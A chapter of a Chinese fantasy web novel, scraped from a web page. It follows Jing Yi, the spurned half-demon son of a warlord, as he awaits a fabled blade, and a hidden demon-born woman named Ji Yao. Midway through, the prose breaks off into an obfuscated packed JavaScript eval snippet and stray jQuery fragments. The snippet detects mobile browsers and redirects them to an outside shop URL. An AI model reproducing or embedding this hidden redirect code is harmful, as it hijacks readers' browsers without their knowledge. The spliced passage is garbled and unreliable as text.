9. 第九章

作品:《步天歌

    “蓬莱那位道子,如今也不过十七吧。”姚静深望着远方,似有些感慨。这些年他虽都守在不思归,但对昆州种种也不是一无所知。


    蓬莱道子谢寒衣,生来得一息鸿蒙灵韵不散,三年引气,三年明识,三年知玄,三年闻道,又三年,踏入修士第五境,化神。


    多少修士穷其一生也无法达到如此境界,哪怕姚静深的天资已属上等,经四十余年苦修,才得以突破化神。而谢寒衣不过十五就已经步入化神,成为天下最年轻的五境修士。


    闻人昭神情冷峻如初,让人无法窥见他心中想法。这样的天资,让人连与之比较的心思也难以升起。


    “有先贤留下的浮屠剑在,妖族七境以上大能擅入人族九州,必将授首于此。”但五境之上,尚有第六境,化神境的谢寒衣若面对六境妖族,胜算多少尚且不知。一个大境界的差距,有时便如天堑,姚静深的忧虑不无道理。


    闻人昭却并不担心:“蓬莱既然派出了这位道子,便是认定他有能力解决此番妖族带来的麻烦。”


    蓬莱总不会让自己的道子白白来送死。


    闻人昭也很好奇,蓬莱这位避世修行十七年不曾出的道子,究竟有没有能与声名相匹配的实力。


    风从断崖上吹过,穿过葱茏山林,落入杏花里。


    杏花里中,蝉衣打发走了人,鼓着嘴走回厅中,口中忍不住抱怨道:“人族果真贪婪,月月都要来讨些便宜,令人生厌。”


    “些许银钱,不值什么。”景弈手中握着卷竹简,闻言冷淡回道,并不将此事放在心上。


    杏花里乡民躬耕为生,便是一枚钱都要计算得明明白白,如景弈这般将银钱视作等闲的实在是异类。


    不过他的确也不算是杏花里的人,七年前,尚且年幼的景弈带着老管家拿了地契来杏花里,就此在这两间无主多年的青瓦房住了下来。


    据说此间主人早已搬进郡中,多年不曾回来过,因这是祖宅,也没有转卖的打算。


    景弈的户籍挂在这祖宅中,杏花里传言,他其实是不为主母所容的庶子,这才被赶回了穷乡僻壤的祖宅。


    话虽这样说,他的身家胜过了杏花里许多人家,无须劳作也过得很是滋润。


    杏花里及周边乡里有不少人都与这青瓦房的主人沾亲带故,只是在其搬入郡中失了联系,在景弈出现后,他们不免动了心思。


    既然都是远亲,他帮扶他们一二也是应当,因此在景弈搬来后,便有不少人上门来打秋风。


    对此,景弈不甚在意,能用些许银钱便能将这些人打发,又何须悭吝。


    他留在这杏花里,只为了一件事,至于其他,不必多加考虑。


    蝉衣则是在三年前来的杏花里,她虽称景弈一声兄长,他们之间却没有什么亲缘。


    三年前,她饿晕在杏花里外,若非陈云起的妹妹陈稚恰好遇上,说不准就要做了野兽的口粮,因这个缘故,加之又年纪相仿,蝉衣和陈稚成了最好的朋友。


    可惜不久后,陈稚便因病过世。


    景弈素来不喜多管闲事,却没有拆穿蝉衣声称他是自己远房兄长,前来投亲的谎言。


    究其原因,大约是有几分物伤其类,她是妖族,而他亦身怀一半妖族血脉。


    “兄长,我们究竟还要在这儿待上多久啊?”蝉衣托着腮,每日与这些愚昧凡人打交道,实在厌烦得紧。


    这个问题,景弈暂时还回答不了。


    他握着竹简的手下意识收紧。


    他何尝不想离开这里,但现在,却还不到他能离开的时候。


    他等的时机,究竟何时才能到来?


    就在景弈失神之际,一道强盛气息突兀闯进他感知中,令他立时清醒过来。


    景弈蓦地起身,蝉衣也同样感知到了门外出现的人,她看了一眼景弈,已然有了猜测,心跳快了几拍。


    不必景弈开口,蝉衣快步向前,带着几分压抑的激动打开大门。


    “贵客是来寻人吗?”


    蝉衣抬头看向站在门外的玄衣人,他看上去不过三十上下,大约是因为久居高位,一身气度令人望而生畏,轻易不敢与之对视。


    面上扬起笑,但不等蝉衣开口,玄衣人居高临下地觑她一眼,微一拂袖,她什么也来不及反应便倒飞而出,重重摔在了院中。


    武道宗师——她意识到了来人的境界。


    而这样的大人物,如今竟然出现在了杏花里这等乡野之地。


    蝉衣倒在地上,双目有一瞬因愤怒变为竖瞳,随即又恢复如常,当闻人昭冷眼向她看来时,她立时露出怯弱神情,看上去很是无害可欺。


    “武宁君——”


    眼见这一幕,景弈扬声开口,向闻人昭俯身一拜:“她……她是我母族血脉,未曾做过恶事,还请武宁君不要与她一般见识……”


    他声音有些紧绷,对待闻人昭的态度堪称恭敬,怎么看,这都不像是一对父子。


    不过景弈也从来没有得到闻人昭的承认,否则他也不会出现在杏花里。


    景弈生母有妖族血脉,而世人皆知,武宁君最厌妖族,他母亲用了些手段才生下他,为的却是要借血脉以秘术杀闻人昭。


    闻人昭的战功,多是以妖族头颅堆砌而成,妖族怎么能不恨他。


    可惜在上虞国君庇护下,妖族未能如愿,被当做祭品的景弈因此留下一条命,在上虞军卫护送下,回到闻人昭身边。


    但闻人昭不缺儿子,所以身怀妖族血脉的景弈甚至没有资格唤他一声父亲。


    审视着景弈,闻人昭开口:“妖族性鄙,果真物以类聚。”


    他语气中不见多少情绪,却深深刺痛了景弈,少年神情变得有些僵硬。


    出身如何,又何尝是他能选的?如果可以选择,他也不希望自己流着妖族血脉,为生父所厌。


    但他身怀妖族血脉是不争的事实,所以景弈既为自己是上虞武宁君的儿子而自傲,又因体内妖族血脉而深藏自卑。


    蛇族中有大大小小百余分支,跗蛇族出身的蝉衣与景弈的母亲其实扯不上太大关系,但景弈还是将她留在了身边,认作妹妹。


    闻人昭没有兴趣探究景弈是因何将蝉衣留在身边,见他目光移开,蝉衣心下微松,这代表她暂时保住了一条命。


    她默默爬起身来,悄无声息地退到景弈身后阴影中。


    他的目光落在景弈身上,径直道出了此行来意:“大夏龙雀将于今春现世。”


    听到这句话,景弈的心跳陡然快了一瞬。


    藏于不思归深处的凶刀大夏龙雀,正是他会出现在杏花里的原因。


    原本应该默默无闻在武宁君府长大的景弈,于八年前,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956889|193168||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得到了一个足以改变既定命运的机会。


    上虞国师观天象得知,大夏龙雀将要出世,为谋机缘,需有稚子前往樵县杏花里。


    在淮都众多世族子弟中,上虞国师挑中了景弈。


    他选定了被闻人昭所厌弃的景弈作为大夏龙雀未来的主人,去谋这份机缘。


    景弈其实同这几间青瓦房的主人无甚关系,他只是借一个杜撰出的身份留在杏花里,以欺瞒天命,谋求一场机缘。


    这场机缘大到景弈愿意放弃上虞国都的繁华,蛰伏这荒僻乡野数年。最疯狂的赌徒也莫过于此,他押上的是自己不可重来的年少岁月。


    或许在这一点上,他的确有些肖似他的父亲。


    蛰伏七年,如今终于到了他执刀之时。


    “请武宁君放心,我必竭尽所能,为上虞谋得大夏龙雀!”景弈抬手向闻人昭拜下,震声开口,话中是掩饰不住的野心。


    只要能令大夏龙雀奉之为主,他往后道途便是一片坦荡。


    哪怕是身为武道宗师的闻人昭,也不过勉强能与天命修士比肩,而他若收服大夏龙雀,未来成就,必定远在天命境之上。


    对于他这句话,闻人昭未置可否。


    以景弈如今实力,能做得了什么?决定一切的,是君王的意志。


    随国消息倒是灵通,不过大夏龙雀既然在上虞境内,便只能为上虞所有,轮不到他们觊觎。


    “七日后,不思归秘境开启。”


    留下这句话,闻人昭的身形自院中消失,眨眼间便出现在门外,并不打算告知景弈自己接下来的去向。


    直到他离开,景弈心中仍旧心潮起伏,久久不能平息。


    蝉衣仰头看着他,满脸信赖:“兄长,你一定能得偿所愿的。”


    景弈也是这般认为,国师既然选中了他,说明大夏龙雀最终一定会为他所有——那位国师从来是以算无遗策而著称。


    他眼中涌动着勃勃野心,面上流露出势在必得的笑意。


    蝉衣也笑着,她真心希望他能得偿所愿。


    门外,原本已经转身的闻人昭骤然停下脚步,树荫下,抬头望向陈家院落中。


    他好像察觉了什么。


    风吹过树梢,枝叶窸窣作响,一切与常无异,小院中,姬瑶于廊下缓缓睁开双目,眼中幽沉如深渊。


    一墙之隔外,许久,未有所获的闻人昭收回目光,抬步向前。


    他终究还是没能捕捉到那丝异常。


    姬瑶指尖亮起一点灵光,成为陈稚让她暂时瞒过了天道耳目,偷来一线生机。但只是如此,又怎么够?


    这天下之间,若无护持自身的实力,便只能成为他人鱼肉。


    黄庭紫府俱碎,仙骨寸寸断裂,姬瑶的仙途已然断绝,体内仙力一旦动用不可再复,如同无源之水。


    好在她如今也不想做什么仙神,她生来是魔族,何必要做仙神。


    与神族不同,魔族不修术法,只纳煞气入体增强血脉本源之力。


    姬瑶如今需以煞气打破血脉中本源锁链,才能觉醒本命天赋。


    不思归中正有一把为煞气缠绕的凶刃。


    体内残存的力量游走全身,封住数处穴窍,要令天道从她身上移开注意,尚需些时间。


    姬瑶再次阖上眼,这一次,她真正睡了过去。